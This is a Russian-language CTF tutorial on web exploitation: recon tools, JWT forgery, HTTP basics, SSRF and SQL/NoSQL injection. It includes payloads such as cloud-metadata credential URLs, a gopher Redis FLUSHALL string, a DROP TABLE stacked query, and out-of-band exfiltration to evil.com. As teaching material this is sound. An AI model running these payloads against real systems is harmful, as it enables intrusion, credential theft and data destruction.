Главное запомнить: разведка — это whatweb, gau/waybackurls, ffuf/dirsearch/feroxbuster/gobuster. Перехват и ручная эксплуатация — Burp/ZAP. Автоматическая эксплуатация — sqlmap, commix, tplmap, XSStrike, LFImap. Быстрый скан уязвимостей — Nuclei. Ключевые термины для запоминания: Burp Suite, OWASP ZAP, sqlmap, ffuf, dirsearch, Nuclei, gobuster, whatweb, XSStrike, tplmap, commix, LFImap, Postman, curl, waybackurls, gau. Эти знания помогут тебе в 90% web-задач: за минуты понять, на чём сайт, найти скрытые страницы, автоматически вытащить базу через sqlmap, проверить XSS/Command Injection, перехватить и изменить запрос в Burp — вместо того чтобы часами кликать вручную и гадать пути. С таким арсеналом ты уже уверенно решаешь beginner и medium web-задачи, а в hard — сильно экономишь время.
JSON Web Tokens (JWT)
JWT (JSON Web Token) — это компактный способ передавать информацию между клиентом и сервером в виде одной длинной строки, которая выглядит как три части, разделённые точками. Внутри зашифрованы (или просто закодированы) данные о пользователе, его правах и сроке действия. В CTF эта тема относится в первую очередь к категории Web (часто пересекается с Crypto и Web3). Чаще всего JWT встречается в задачах на авторизацию, где нужно войти под админом, подделать токен или обойти проверку подписи. Новичку обязательно разобраться в JWT, потому что в современных web-задачах это один из самых популярных способов хранения сессии. Понимание структуры и слабых мест позволяет за 5–15 минут превратить обычный токен в токен админа и получить флаг.
Словарь терминов
JWT
Строка с тремя частями, которая несёт данные о пользователе
Header
Первая часть токена, говорит, какой алгоритм подписи используется
Payload
Вторая часть, содержит данные: имя, роль, срок действия
Signature
Третья часть, проверяет, что никто не изменил header и payload
Base64url
Способ кодирования, похож на base64, но безопасный для URL
HS256
Подпись с помощью общего секретного ключа (симметричный)
RS256
Подпись с помощью пары ключей: приватный подписывает, публичный проверяет
none
Алгоритм без подписи — сервер просто верит токену
alg confusion
Атака, когда меняют алгоритм, чтобы сервер проверил не тем способом
kid
Поле в header, указывает, какой ключ использовать для проверки
jku
Ссылка в header, откуда сервер должен взять публичные ключи
x5u
Ссылка на сертификат с публичным ключом
Token replay
Повторное использование старого токена, который ещё не истёк
EIP-712
Стандарт для подписывания структурированных данных в Ethereum
Структура токена: header.payload.signature
JWT состоит из трёх частей, разделённых точками:
header — JSON с информацией об алгоритме (alg) и типе (typ: "JWT"). Кодируется в base64url.
payload — JSON с данными: sub (кто пользователь), role (права), iat (время выдачи), exp (срок действия), и иногда iss (кто выдал). Тоже base64url.
signature — подпись, которая считается от header + payload + секретного ключа (или приватного ключа).
Всё вместе выглядит примерно так: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Важно: payload читается любым человеком — он не зашифрован, только закодирован. Подпись защищает от изменений.
В CTF это база: всегда декодируй payload → смотри роль, права, user_id. На практике: меняй role на "admin", user_id на 1 или 0, уменьшай/удаляй exp — и пробуй отправить обратно. Если сервер не проверяет подпись строго — флаг твой.
Алгоритмы: none, HS256, RS256, слабые ключи, alg confusion
Алгоритмы определяют, как считается подпись.
none — подпись пустая, сервер должен отказаться, но часто принимает из-за ошибки.
HS256 — симметричный: один секретный ключ и для подписи, и для проверки. Если ключ слабый (короткий, "secret", имя сайта) — можно подобрать.
RS256 — асимметричный: приватный ключ подписывает, публичный проверяет. Подделать нельзя без приватного ключа.
alg confusion — когда меняют alg с RS256 на HS256, а в качестве "ключа" подсовывают публичный ключ — сервер думает, что это HS256-секрет.
Слабые ключи — частая ошибка: секрет типа "password", "jwtsecret" или даже пустой.
В CTF none и слабые HS256 — классика beginner/medium. Alg confusion — medium/hard. На практике: пробуй поменять alg на "none" и убрать signature. Если не сработало — если RS256, попробуй alg: HS256 и вставить публичный ключ как секрет. Если HS256 — brute-force или угадывай секрет.
Атаки: kid header injection, jku/x5u, token replay, signature bypass
kid (key ID) — поле в header, говорит, какой ключ использовать. Если сервер берёт имя файла из kid (например, /keys/kid123) — можно вставить ../dev/null или /etc/passwd и заставить сервер использовать пустой/предсказуемый ключ.
jku (JWK URL) и x5u — ссылки, откуда скачать публичные ключи. Если сервер доверяет любой ссылке — можно указать свой сервер и подсунуть фейковый ключ.
Token replay — старый токен админа повторно отправляется, если нет проверки iat/exp или nonce.
Signature bypass — разные трюки: пустая подпись, алгоритм none, alg confusion, слабый ключ, подмена kid/jku.
В CTF эти атаки дают доступ к админ-панели или чужому аккаунту. На практике: смотри header → если есть kid — пробуй ../ или /proc/self/environ. Если jku/x5u — ставь свой URL с фейковым JWK. Для replay — копируй токен и используй повторно.
EIP-712 и typed data signing в Web3-контексте
В Web3 (Ethereum, блокчейн-задачи) часто используют подписи по стандарту EIP-712. Это не совсем JWT, но похожий принцип: структурированные данные (typed data) подписываются приватным ключом кошелька.
Сообщение имеет domain (контракт, цепочка), types (структура) и message (данные). Подпись проверяется на клиенте или смарт-контракте.
В CTF это встречается в задачах на подделку подписи, replay атаки или неправильную проверку domain/types.
В Web3-задачах часто нужно подписать сообщение от имени жертвы или подделать верификацию. На практике: если видишь _signTypedData — изучай структуру, ищи слабые места (отсутствие nonce, domain separator). Иногда можно replay подпись или подсунуть свои данные в message.
Главное запомнить: JWT — это header.payload.signature, payload читаем, подпись проверяет целостность. Самые частые дыры — none, слабый HS256, alg confusion, kid/jku injection. В Web3 похожие принципы, но с EIP-712. Ключевые термины для запоминания: header, payload, signature, HS256, RS256, none, alg confusion, kid, jku, x5u, token replay, EIP-712, typed data. Эти знания помогут тебе в большинстве задач на авторизацию: декодировать токен, менять роль на admin, пробовать none или alg confusion, подделывать kid — и быстро получать флаг, вместо того чтобы перебирать миллионы паролей или гадать логин. С таким набором ты уже уверенно решаешь beginner и medium JWT-задачи.
Основы протокола HTTP/HTTPS
HTTP и HTTPS — это правила, по которым твой браузер разговаривает с сайтом: просит страницу, отправляет данные, получает ответ. HTTP — обычный, без защиты, а HTTPS — защищённый, с шифрованием, чтобы никто не подглядел и не подменил данные. В CTF эта тема относится в первую очередь к категории Web. Чаще всего встречается в web-задачах: где нужно отправить особый запрос, обойти защиту, найти флаг в заголовке или через манипуляцию соединением. Новичку обязательно понять основы, потому что почти все web-CTF начинаются именно с перехвата и изменения HTTP-запросов. Зная, как устроены запросы, заголовки и шифрование, ты быстро поймёшь, где спрятан флаг или как обойти проверку.
Словарь терминов
HTTP
Протокол передачи данных между браузером и сайтом без шифрования
HTTPS
HTTP с шифрованием через TLS, защищает от подглядывания
Метод запроса
Тип действия: GET — получить, POST — отправить данные
Заголовок
Дополнительная информация в запросе или ответе (типа User-Agent)
Статус-код
Номер ответа сервера: 200 — ок, 404 — не найдено, 403 — запрещено
TLS handshake
Процесс "рукопожатия", когда браузер и сервер договариваются о шифре
Сертификат
"Паспорт" сайта, подтверждает, что это настоящий сайт
HSTS
Заставляет браузер всегда использовать HTTPS для сайта
Certificate Transparency
Публичный лог всех выданных сертификатов, чтобы заметить подделки
Mixed content
Когда HTTPS-страница грузит HTTP-ресурсы — браузер ругается
CSP
Заголовок, который говорит браузеру, откуда можно грузить скрипты
X-Frame-Options
Запрещает или разрешает вставлять сайт в iframe
X-XSS-Protection
Старый заголовок против XSS-атак (теперь почти не используют)
Referrer-Policy
Контролирует, какую информацию о предыдущей странице отправлять
Методы запросов, заголовки, статус-коды, версии HTTP/1.1 и HTTP/2/3
Запрос начинается с метода: GET — просто посмотреть страницу, POST — отправить форму (логин, пароль), HEAD — как GET, но без тела ответа, PUT/DELETE — изменить или удалить что-то (редко в CTF).
Заголовки — это как приписка к письму: Host — какой сайт, User-Agent — какой браузер, Cookie — твои куки, Authorization — логин/пароль в base64, Content-Type — тип данных (application/json и т.д.).
Статус-коды: 200 — всё ок, 301/302 — перенаправление, 403 — запрещено (часто флаг за правильным заголовком), 404 — не найдено, 500 — ошибка сервера (иногда утекает инфа).
Версии: HTTP/1.1 — старый стандарт, по одному запросу за соединение, HTTP/2 — быстрее, много запросов одновременно, сжатие заголовков, HTTP/3 — на UDP, ещё быстрее и надёжнее, но в CTF пока редко.
В CTF это основа всего web: флаг часто лежит за POST-запросом с особым заголовком, или сервер отвечает 200 только если User-Agent = "admin" или Referer правильный. На практике: меняй метод с GET на POST, добавляй/меняй заголовки, смотри статус — если стал 200 вместо 403, копай дальше в ответе.
HTTPS handshake, сертификаты, HSTS, HPKP, certificate transparency
HTTPS использует TLS (раньше SSL). Handshake — это когда браузер говорит "привет", сервер отвечает сертификатом, они договариваются о ключе шифрования и начинают безопасный разговор.
Сертификат — цифровой документ от доверенного центра (CA), содержит публичный ключ сайта и доказывает, что домен настоящий. Браузер проверяет цепочку до корневого CA.
HSTS — заголовок Strict-Transport-Security: "всегда заходи ко мне только по HTTPS, даже если напишешь http". Защищает от downgrade-атак.
HPKP (Public Key Pinning) — старый способ "привязать" сайт к конкретному ключу, чтобы поддельный сертификат не сработал (сейчас почти не используют, заменили на Certificate Transparency).
Certificate Transparency — все сертификаты записывают в публичные логи, чтобы владелец домена заметил поддельные.
В CTF handshake редко ломают напрямую, но часто дают задачу с неправильным сертификатом, mixed content или HSTS-preload. Иногда флаг в описании сертификата или в ошибке TLS. На практике: если сайт на HTTPS — смотри сертификат (в браузере клик на замок), ищи необычные поля или цепочку. Mixed content — когда часть ресурсов по HTTP, иногда там утекает флаг.
Разница между HTTP и HTTPS, mixed content, TLS 1.2/1.3
HTTP — всё в открытую: любой в сети видит логин, пароль, куки. HTTPS — шифрует весь трафик, никто не видит содержимое (только IP и домен).
Mixed content — HTTPS-страница грузит картинки/скрипты по HTTP: браузер блокирует или предупреждает, иногда это ломает сайт или даёт подсказку.
TLS 1.2 — старый, но ещё живой, много шифров, уязвим к некоторым атакам. TLS 1.3 — новый, быстрее, безопаснее, убрал старые слабые шифры, handshake за 1 round-trip.
В CTF разница критична: на HTTP можно перехватить куки или данные формы, на HTTPS — нет (если не ломать TLS). Mixed content иногда позволяет вставить свой скрипт или увидеть скрытый ресурс. На практике: если задача на HTTP — пробуй перехватывать и менять данные, если HTTPS — ищи обход через mixed или downgrade (редко).
Заголовки безопасности (CSP, X-Frame-Options, X-XSS-Protection, Referrer-Policy)
Эти заголовки помогают сайту защищаться от атак.
CSP (Content-Security-Policy) — говорит браузеру: "скрипты только с моего домена", "картинки только отсюда", "запрети inline-скрипты". Ломают XSS.
X-Frame-Options — DENY (не вставляй меня в iframe), SAMEORIGIN (только с моего домена), защищает от clickjacking.
X-XSS-Protection — старый, включал встроенную защиту браузера от XSS (теперь почти не нужен, CSP лучше).
Referrer-Policy — контролирует, сколько инфы о предыдущей странице отправлять в Referer (origin, strict-origin, no-referrer и т.д.).
В CTF эти заголовки часто нужно обходить или использовать: CSP bypass для XSS, отсутствие X-Frame-Options для clickjacking-подобных трюков, Referrer-Policy для обхода проверок "откуда пришёл". На практике: если видишь CSP — читай его внимательно, ищи слабые места (unsafe-inline, *.example.com). Если нет X-Frame-Options — иногда можно вставить сайт в iframe и украсть что-то.
Главное запомнить: HTTP/HTTPS — основа web в CTF, запрос состоит из метода + заголовков + тела, ответ — статус + заголовки + тело. HTTPS добавляет шифрование через TLS-handshake и сертификаты. Заголовки безопасности ограничивают, что можно делать на странице. Ключевые термины для запоминания: GET/POST, User-Agent, Cookie, 200/403, TLS handshake, сертификат, HSTS, CSP, X-Frame-Options, Referrer-Policy, mixed content, TLS 1.3. Эти знания помогут тебе решать почти все beginner и medium web-задачи: быстро понять, почему 403, добавить нужный заголовок, обойти простую проверку, найти флаг в ответе или сертификате — вместо того чтобы часами гадать, что не так. С ними ты уже не будешь бояться любой web-страницы в CTF.
Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) — это когда ты заставляешь сервер сделать запрос от своего имени к любому адресу, который ты укажешь. Обычно это используется для доступа к внутренним сервисам, которые снаружи недоступны: админ-панели, базы данных, облачные метаданные. В CTF эта тема относится в первую очередь к категории Web. Чаще всего SSRF встречается в задачах на чтение внутренних файлов, получение секретов из облака (AWS/GCP/Azure), сканирование внутренних портов или эскалацию до удалённого выполнения кода (RCE). Новичку важно понять SSRF, потому что в современных CTF (особенно с Docker, Kubernetes, облаками) это один из самых мощных способов получить флаг или shell. Зная, как обмануть парсинг URL и куда можно попросить сервер сходить, ты часто за 10–30 минут получаешь доступ к тому, что снаружи закрыто.
Словарь терминов
SSRF
Заставляешь сервер сделать запрос к любому адресу от твоего имени
Blind SSRF
Нет вывода ответа, но можно судить по поведению или задержке
Internal port scanning
Проверка, какие порты открыты внутри сети сервера
Cloud metadata
Секретные данные облака (ключи, токены) по адресу 169.254.169.254
URL parsing bypass
Обход фильтров на URL с помощью @, #, 0x, decimal IP и т.д.
Protocol smuggling
Использование редких протоколов (gopher, dict, file, jar)
Gopher
Протокол, позволяющий отправить почти любой TCP-пакет
Dict
Протокол для запросов к словарям, но часто используется для SSRF
File protocol
file:// — чтение локальных файлов сервера
Redis SSRF to RCE
Через SSRF пишешь команды в Redis и получаешь shell
FastCGI SSRF
Через SSRF отправляешь команды в php-fpm и выполняешь код
Docker API SSRF
Доступ к /var/run/docker.sock → запуск контейнеров
Blind SSRF, internal port scanning, cloud metadata (AWS/GCP/Azure)
Blind SSRF — когда сервер не отдаёт тебе содержимое ответа, но ты можешь понять, что запрос прошёл. Например, если страница загружается дольше — порт открыт, если ошибка 502/timeout — закрыт.
Internal port scanning — ты пробуешь разные порты: http://127.0.0.1:22, :3306 (MySQL), :6379 (Redis), :8080 (внутренний сервис). По времени ответа или статусу узнаёшь, что работает.
Cloud metadata — самый ценный случай: почти все облака имеют специальный адрес 169.254.169.254 (или 169.254.170.2 для AWS ECS), где лежат токены, ключи, роли. AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/role GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token Azure: http://169.254.169.254/metadata/identity/oauth2/token
В CTF blind SSRF + metadata — классика medium/hard. На практике: если есть поле URL — вставляй 127.0.0.1:8080 → если страница меняется — порт открыт. Потом пробуй 169.254.169.254/latest/meta-data/ → если получишь токен — ищи роль с правами на S3 или секреты.
URL parsing bypass, protocol smuggling (gopher, dict, file)
Серверы часто фильтруют localhost, 127.0.0.1, 0.0.0.0. Bypass делается через:
127.0.0.1 → 127.1, 2130706433 (decimal), 0x7f.0x0.0x0.0x1, 0177.0.0.1 (octal)
http://127.0.0.1 → http://[::1], http://0, http://[email protected] (обход черных списков)
Добавление @, #, /./, //, %2e%2e
Protocol smuggling — использование редких протоколов вместо http:
file:///etc/passwd — чтение файлов
dict://127.0.0.1:6379/info — запрос к Redis
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A — отправка команд Redis
В CTF bypass и gopher — must-have для обхода фильтров. На практике: если 127.0.0.1 блокируется — пробуй 127.1, 0x7f000001, ::1. Если http запрещён — переключайся на gopher:// или file://. Gopher позволяет отправить почти любой TCP-пакет — идеально для Redis/FastCGI.
SSRF to RCE (Redis, FastCGI, Docker API)
SSRF часто становится RCE, если ты попадаешь на нужный внутренний сервис.
Redis SSRF to RCE — пишешь в Redis команды через gopher, создаёшь cron-задачу или пишешь webshell в /var/www/html.
FastCGI/php-fpm — отправляешь специально сформированный пакет на порт 9000, указываешь SCRIPT_FILENAME и код → выполняешь php-код.
Docker API — если доступен /var/run/docker.sock (порт 2375/2376) — можно создать контейнер с монтированием / и получить root.
В CTF это эскалация от простого SSRF до полного shell. На практике: если нашёл Redis на 6379 — используй gopher для FLUSHALL + SET webshell + config set dir /var/www/html. Если Docker API — создавай контейнер с --privileged и монтируй /host.
SSRF в облачных сервисах и Kubernetes
В облаке SSRF — золотая жила: токены IAM, Kubernetes secrets, internal API.
Kubernetes — часто SSRF на kube-apiserver (порт 6443), etcd (2379), или metadata в kubelet. Можно вытащить service account token → получить права внутри кластера.
AWS/GCP/Azure — metadata даёт временные ключи с правами на S3, Secrets Manager, Cloud Storage → скачиваешь флаг.
В CTF облачные SSRF — почти всегда hard-задачи с большими наградами. На практике: если сервер в AWS — сразу пробуй 169.254.169.254/latest/meta-data/iam/security-credentials/. В Kubernetes — ищи /api/v1/namespaces/default/secrets или /var/run/secrets/kubernetes.io/serviceaccount/token через file://.
Главное запомнить: SSRF — заставляешь сервер запросить любой URL от своего имени. Самое ценное — cloud metadata, внутренние сервисы (Redis, FastCGI, Docker). Bypass фильтров через IP-вариации и протоколы (gopher, file). Blind работает по времени/поведению. Ключевые термины для запоминания: SSRF, blind SSRF, internal port scanning, cloud metadata, URL parsing bypass, gopher, dict, file protocol, Redis SSRF, FastCGI SSRF, Docker API, Kubernetes SSRF. Эти знания помогут тебе в большинстве современных web-задач: быстро найти внутренний сервис, вытащить токен из metadata, обойти фильтр на localhost, эскалировать до RCE через Redis или Docker — и получить флаг или shell вместо долгого поиска других уязвимостей. С таким подходом ты уже уверенно решаешь medium и hard SSRF-задачи.
SQL Injection
SQL Injection (SQLi) — это когда ты вставляешь вредоносный кусок SQL-кода в поле ввода (логин, поиск, id), и сервер выполняет его как часть своей команды к базе данных. Вместо того чтобы искать пользователя, сервер может показать все пароли, удалить таблицу или дать тебе права админа. В CTF эта тема относится в первую очередь к категории Web. Чаще всего SQL Injection встречается в задачах на обход авторизации, чтение секретных данных, получение флага из базы или повышение привилегий. Новичку обязательно понять SQLi, потому что это одна из самых классических и самых часто встречающихся уязвимостей в web-CTF. Зная типы инъекций и способы обхода защиты, ты сможешь за 10–40 минут вытащить флаг из базы, вместо того чтобы часами перебирать пароли или гадать endpoint'ы.
Словарь терминов
SQL Injection
Вставка чужого SQL-кода в запрос к базе данных
Union-based
Техника, когда через UNION добавляешь свои данные в результат
Error-based
Инъекция, при которой ошибки базы показывают полезную информацию
Blind boolean
Нет вывода, но по разному поведению страницы угадываешь символы
Blind time-based
Нет вывода, но по задержке ответа угадываешь символы
Stacked queries
Несколько запросов через точку с запятой в одном поле
Out-of-band
Данные утекают не в ответ, а через DNS-запросы или HTTP
WAF
Фильтр, который пытается блокировать опасные SQL-символы
Second-order SQLi
Инъекция сохраняется в базе, а срабатывает позже
NoSQL Injection
Аналог SQLi, но для баз MongoDB, CouchDB и других
Payload
Готовый кусок кода, который вставляешь в поле
Sleep
Функция, которая заставляет базу ждать (для time-based)
Union-based, error-based, blind (boolean/time-based)
Union-based — самый удобный тип: вставляешь ' UNION SELECT 1,2,3 -- и смотришь, какие колонки выводятся. Потом заменяешь числа на нужные данные: database(), user(), version(), GROUP_CONCAT(table_name). Когда узнаёшь количество колонок — вытаскиваешь флаг из таблицы.
Error-based — сервер показывает ошибки SQL (например, "You have an error near ' OR 1=1"). В некоторых СУБД (MySQL, MSSQL) можно вытащить данные прямо из текста ошибки с помощью extractvalue, updatexml и подобных функций.
Blind boolean — ответа нет, но поведение страницы меняется: если условие верно — страница нормальная, если ложно — "not found" или пусто. Угадываешь посимвольно: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a
Blind time-based — если условие верно — сервер ждёт (SLEEP(5)), если ложно — отвечает сразу. По разнице во времени угадываешь символы.
В CTF union-based — самый быстрый и частый в beginner/medium. Blind — в hard, когда вывода нет. На практике: начинай с ' OR 1=1 -- → если вошёл без пароля — SQLi есть. Потом пробуй union select. Если ничего не выводит — переходи к boolean/time-based.
Stacked queries, out-of-band (DNS, HTTP)
Stacked queries — когда сервер позволяет несколько запросов в одном поле: '; DROP TABLE users; -- или '; UPDATE users SET password='hacked' WHERE id=1; --
Работает не везде: в MySQL нужно включён multi_query, в PostgreSQL — возможно, в MSSQL — часто.
Out-of-band — данные утекают не в ответ страницы, а через другие каналы: LOAD_FILE('\\evil.com\x'), INTO OUTFILE, или DNS-запросы (SELECT ... INTO OUTFILE '\\evil.com\a.txt'), HTTP-запросы (UTL_HTTP.REQUEST в Oracle).
В CTF stacked — редкость, но даёт возможность писать файлы или менять данные. Out-of-band — спасение, когда WAF блокирует всё, а DNS/HTTP пропускает. На практике: если union и blind не работают — пробуй '; SELECT SLEEP(5); --. Если время ответа выросло — stacked возможен. Для OOB — ищи функции вроде LOAD_FILE, UTL_INADDR.GET_HOST_ADDRESS.
WAF bypass, second-order SQLi
WAF (Web Application Firewall) — фильтр, который ищет ' OR 1=1, union, select и блокирует. Bypass — это вариации: %27 вместо ', /**/ вместо пробела, char(39) вместо ', Unicode-символы (％27), case mixing (UnIoN SeLeCt).
Second-order SQLi — инъекция не срабатывает сразу, а сохраняется в базе (например, в имени пользователя), а потом используется в другом месте (при отображении профиля, поиске). Фильтр пропускает при сохранении, но не при использовании.
В CTF WAF-bypass нужен почти всегда в medium/hard. Second-order — классика, когда обычная инъекция блокируется. На практике: если ' OR 1=1 блокируется — пробуй ' OR '1'='1, '||'1'='1, char(39)||char(49)||char(61)||char(49). Для second-order — регистрируй пользователя с инъекцией в имени/почте и смотри, где оно потом используется.
NoSQL Injection (MongoDB, CouchDB, Cassandra)
NoSQL-базы (MongoDB чаще всего) не используют SQL, но уязвимы к похожим атакам. Вместо строки запроса часто приходит JSON: {"username": "admin", "password": {"$ne": null}} — это значит "пароль не равен null" → заходит под любым паролем.
Другие примеры: {"$gt": ""}, {"$regex": "^a"}, операторы $where, $func, JavaScript-инъекции в $where.
В CTF NoSQLi встречается в задачах на современные веб-приложения (Node.js, Python Flask/Django с Mongo). На практике: если логин не работает с обычным SQLi — пробуй username[$ne]=null&password[$ne]=null. Если Mongo — часто достаточно {"username":"admin","password":{"$exists":true}}. Ищи подсказки в ошибках или JS-коде.
Главное запомнить: SQL Injection — это выполнение чужого кода в базе через пользовательский ввод. Самые частые типы — union-based (для вывода данных), blind boolean/time-based (когда вывода нет). Защита — подготовленные запросы, но в CTF их часто нет. WAF обходится вариациями, second-order — отложенная инъекция, NoSQL — свои операторы. Ключевые термины для запоминания: Union-based, error-based, blind boolean, blind time-based, stacked queries, out-of-band, WAF bypass, second-order SQLi, NoSQL Injection, $ne, SLEEP, LOAD_FILE. Эти знания помогут тебе в большинстве web-задач: быстро проверить поля на инъекцию, вытащить базу через union, угадать флаг посимвольно в blind, обойти WAF вариациями — и получить флаг из таблицы flags или users вместо долгого brute-force логина/пароля. С таким набором ты уже уверенно решаешь beginner и medium SQLi-задачи.